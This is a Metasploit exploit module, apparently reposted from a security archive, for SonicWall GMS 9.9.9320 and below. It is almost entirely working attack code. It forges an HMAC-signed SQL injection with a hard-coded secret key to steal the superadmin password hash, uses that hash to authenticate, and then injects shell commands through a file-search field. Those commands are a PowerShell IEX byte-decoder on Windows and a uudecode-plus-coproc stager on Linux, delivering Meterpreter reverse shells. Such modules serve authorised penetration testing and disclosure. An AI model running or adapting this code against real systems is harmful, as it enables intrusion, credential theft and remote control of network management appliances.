Authored by Ron Bowes, fulmetalpackets | Site metasploit.com

This Metasploit module exploits a series of vulnerabilities – including auth bypass, SQL injection, and shell injection – to obtain remote code execution on SonicWall GMS versions 9.9.9320 and below.

advisories | CVE-2023-34124, CVE-2023-34127, CVE-2023-34132, CVE-2023-34133

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

# We can actually use the title to identify which platform we're on
TITLE_WINDOWS = 'SonicWall Universal Management Host'
TITLE_LINUX = 'SonicWall Universal Management Appliance'

# Secret key (from com.sonicwall.ws.servlet.auth.MSWAuthenticator)
SECRET_KEY = '?~!@#$%^^()'

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sonicwall',
'Description' => %q{
This module exploits a series of vulnerabilities - including auth
bypass, SQL injection, and shell injection - to obtain remote code
execution on SonicWall GMS versions <= 9.9.9320.
},
'License' => MSF_LICENSE,
'Author' => [
'fulmetalpackets <[email protected]>', # MSF module, analysis
'Ron Bowes <[email protected]>' # MSF module, original PoC, analysis
],
'References' => [
[ 'URL', 'https://www.rapid7.com/blog/post/2023/07/13/etr-sonicwall-recommends-urgent-patching-for-gms-and-analytics-cves/'],
[ 'CVE', '2023-34124'],
[ 'CVE', '2023-34133'],
[ 'CVE', '2023-34132'],
[ 'CVE', '2023-34127']
],
'Privileged' => true,
'Targets' => [
[
'Linux Dropper',
{
'Platform' => ['linux'],
'Arch' => [ARCH_X64],
'Type' => :dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'WritableDir' => '/tmp'
}
}
],
[
'Windows Command',
{
'Platform' => ['win'],
'Arch' => [ARCH_CMD],
'Type' => :cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp',
'WritableDir' => '%TEMP%'
}
}
],
[
'Linux Command',
{
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_CMD],
'Type' => :cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic'
}
}
],
],
'DefaultTarget' => 0,

'DisclosureDate' => '2023-07-12',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'DefaultOptions' => {
'SSL' => true,
'RPORT' => '443'
}
)
)

register_options(
[
OptString.new('TARGETURI', [ true, 'The root URI of the Sonicwall appliance', '/']),
]
)

register_advanced_options([
# This varies by target, so don't define the default here
OptString.new('WritableDir', [true, 'A directory where we can write files']),
])
end

def check
vprint_status("Validating SonicWall GMS is running on URI: #{target_uri.path}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
)

# Basic sanity checks - the path should return a HTTP/200
return CheckCode::Unknown('Could not connect to web service - no response') if res.nil?
return CheckCode::Unknown("Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200

# Ensure we're hitting plausible software
return CheckCode::Detected("Running: #{::Regexp.last_match(1)}") if res.body =~ /(SonicWall Universal Management Suite [^<]+)</

# Otherwise, probably safe?
CheckCode::Safe('Does not appear to be running SonicWall GMS')
end

# Exploits CVE-2023-34133 (SQL injection) + CVE-2023-34124 (auth bypass) to
# get a password hash
def get_password_hash
# attempt a sqli.
vprint_status('Attempting to use SQL injection to grab the password hash for the superadmin user...')

# SQL injection question to fetch the admin password
query = "' union select " +

# This must be a valid DOMAIN, which we can thankfully fetch from the DB
'(select ID from SGMSDB.DOMAINS limit 1), ' +

# These fields don't matter
"'', '', '', '', '', " +

# This field is returned, so use it to get the id and password for our
# the super user, if possible
"(select concat(id, ':', password) from sgmsdb.users where active = '1' order by issuperadmin desc limit 1 offset 0)," +

# The rest of the fields don't matter, end with a single quote to finish with a clean query
"'', '', '"
vprint_status("Generated SQL injection: #{query}")

# We need to sign our query with the SECRET_KEY
token = Base64.strict_encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.const_get('SHA1').new, SECRET_KEY, query))
vprint_status("Generated a token using built-in secret key: #{token}")

# Build the URI
# Note that encoding space to '+' doesn't work, so we replace it with '%20'
uri = normalize_uri(target_uri.path, 'ws/msw/tenant', CGI.escape(query).gsub(/+/, '%20'))

# Do it!
print_status('Sending SQL injection request to get the username/hash...')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'headers' => {
'Auth' => '{"user": "system", "hash": "' + token + '"}'
}
)

# Sanity checks
fail_with(Failure::Unreachable, 'Could not connect to web service - no response') if res.nil?
fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") if res.code != 200
fail_with(Failure::UnexpectedReply, "Service didn't return a JSON response") if res.get_json_document.empty?

# This field has the SQL injection response
hash = res.get_json_document['alias']

# If the server responds with an error, it has no 'alias' field so the key
# is missing entirely (this is where it fails against patched targets)
fail_with(Failure::NotVulnerable, "SQL injection failed - service probably isn't vulnerable (or isn't configured)") if hash.nil?

# If alias is present but contains nothing, that means our query got no
# results (probably there are no active users, or something?)
fail_with(Failure::UnexpectedReply, 'SQL injection appeared to work, but no users returned - server might not have an admin account?') if hash.empty?

# If there's no ':' in the response, something super weird happened
fail_with(Failure::UnexpectedReply, 'SQL injection returned the wrong value: no username or hash') if !hash.include?(':')

username, hash = hash.split(/:/, 2)
print_good("Found an account: #{username}:#{hash}")

[username, hash]
end

# Exploits CVE-2023-34132 (pass the hash)
def authenticate(username, hash)
# Grab server hashing token
vprint_status('Grabbing server hashing token...')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/appliance/login'),
'keep_cookies' => true
)
fail_with(Failure::Unreachable, 'Could not connect to web service - no response') if res.nil?

# Look for the getPwdHash function call, as it contains the token we need
if res.body.match(/getPwdHash.*,'([0-9]+)'/).nil?
fail_with(Failure::UnexpectedReply, 'Could not get the server token for authentication')
end

server_token = ::Regexp.last_match(1)
vprint_status("Got the server-side token: #{server_token}")

# Generate the client_hash by combining the server token + the stolen
# password hash
client_hash = Digest::MD5.hexdigest(server_token + hash)
vprint_status("Generated client token: #{client_hash}")

# Send the token
print_status('Attempting to authenticate with the client token + password hash...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/appliance/applianceMainPage'),
'keep_cookies' => true,
'vars_post' => {
'action' => 'login',
'clientHash' => client_hash,
'applianceUser' => username
}
})

fail_with(Failure::Unreachable, 'Could not connect to web service - no response') if res.nil?

# Check the title to make sure it worked
html = res.get_html_document
title = html.at('title').text

# We can identify the platform based on the title
if title == TITLE_LINUX
print_good("Successfully logged in as #{username} (Linux detected!)")
return Msf::Module::Platform::Linux
elsif title == TITLE_WINDOWS
print_good("Successfully logged in as #{username} (Windows detected!)")
return Msf::Module::Platform::Windows
end

fail_with(Failure::UnexpectedReply, "Authentication appears to have failed! Title was "#{title}", which is not recognized as successful")
end

def execute_command_windows(cmd)
vprint_status("Encoding (Windows) command: #{cmd}")

# While this is a shell command injection issue, an aggressive XSS filter
# prevents us from using a lot of important characters such as quotes and
# plus and ampersands and stuff. We can't even use Base64, because we can't
# use the + sign!
#
# We discovered that we could encode the command as integers, then use
# powershell to decode + execute it, so that's what this does.
cmd = "cmd.exe /c #{Msf::Post::Windows.escape_powershell_literal(cmd).gsub(/&/, '"&"')}"
encoded_cmd = "powershell IEX ([System.Text.Encoding]::UTF8.GetString([byte[]]@(#{cmd.bytes.join(',')})))"

# Run the command
vprint_status("Running shell command: #{cmd}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/appliance/applianceMainPage'),
'keep_cookies' => true,
'vars_post' => {
'action' => 'file_system',
'task' => 'search',
'searchFolder' => 'C:GMSVPetc',
'searchFilter' => "|#{encoded_cmd}| rem "
}
})

# This doesn't work, because our payload blocks and it eventually fails
fail_with(Failure::Unreachable, 'No response to command execution') if res.nil? || res.body.empty?
fail_with(Failure::UnexpectedReply, 'The server rejected our command due to filtering (the service has very aggressive XSS filtering, which blocks a lot of shell commands)') if res.body.include?('invalid contents found')

print_good('Payload sent!')
end

def execute_command_linux(cmd)
vprint_status('Encoding (Linux) payload')

# Generate a filename
payload_file = File.join(datastore['WritableDir'], ".#{Rex::Text.rand_text_alpha_lower(8)}")

# Wrap the command so we can execute arbitrary commands. There are several
# difficulties here, the first of which is that we don't have much in the
# way of tools. We're missing curl, wget, base64, python, ruby, even perl!
# The best tool I could find for staging a payload is uudecode, so we use
# that. (I noticed later that telnet exists, which could be another option)
#
# The good news is, with uudecode, we can send a base64 payload. The bad
# news is, we can't use '+', which means we can't use pure base64! To work
# around that, we replace '+' with '@', then use a bit of Bash magic to
# put it back! We also can't use quotes, so we have to do a mountain of
# escaping instead. The default shell is also /bin/sh, so we need to run
# bash explicitly for the `$()` substitutions to work.
cmd = [
# Build a command that runs in bash (but don't use quotes!)
'bash -c ',

# Escape all this for bash
Shellwords.escape([
# Use `uudecode` to get a '+' into a variable
"PLUS=$(echo -e begin-base64 755 a\nKwee\n==== | uudecode -o-);",

# Build a new uuencode file (encoded in base64) with the payload
"echo -e begin-base64 755 #{Shellwords.escape(payload_file)}\n",

# Encode the payload as base64, but replace + with a variable
"#{Base64.strict_encode64(cmd).gsub(/+/, '${PLUS}')}\n",

# Pipe into uudecode
'==== | uudecode;',

# Run in the background with coproc
"coproc #{Shellwords.escape(payload_file)};",

# Delete the payload file
"rm #{payload_file}"
].join)
].join

# Run it!
vprint_status("Encoded shell command: #{cmd}")
print_status('Attempting to execute the shell injection payload')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/appliance/applianceMainPage'),
'keep_cookies' => true,
'vars_post' => {
'action' => 'file_system',
'task' => 'search',
'searchFolder' => '/opt/GMSVP/etc/',
'searchFilter' => ";#{cmd}#"
}
})

# This doesn't work, because our payload blocks and it eventually fails
fail_with(Failure::Unreachable, 'No response to command execution') if res.nil? || res.body.empty?
fail_with(Failure::UnexpectedReply, 'The server rejected our command due to filtering (the service has very aggressive XSS filtering, which blocks a lot of shell commands)') if res.body.include?('invalid contents found')

print_good('Payload sent!')
end

def exploit
# Get the password hash (from SQL injection + auth bypass)
username, hash = get_password_hash

# Use pass-the-hash to log in using that hash
detected_platform = authenticate(username, hash)

# Sanity-check the target
if !datastore['ForceExploit'] && !target.platform.platforms.include?(detected_platform)
fail_with(Failure::BadConfig, "The host appears to be #{detected_platform}, which the target #{target.name} does not support; please choose the appropriate target (or set ForceExploit to true)")
end

# Generate a payload based on the target type
case target['Type']
when :cmd
my_payload = payload.encoded
when :dropper
my_payload = generate_payload_exe
else
fail_with(Failure::BadConfig, "Unknown target type: #{target.type}")
end

# Run a command, using the platform specified in the target
if target.platform.platforms.include?(Msf::Module::Platform::Linux)
execute_command_linux(my_payload)
elsif target.platform.platforms.include?(Msf::Module::Platform::Windows)
execute_command_windows(my_payload)
else
fail_with(Failure::Unknown, "Unknown platform: #{platform}")
end
end
end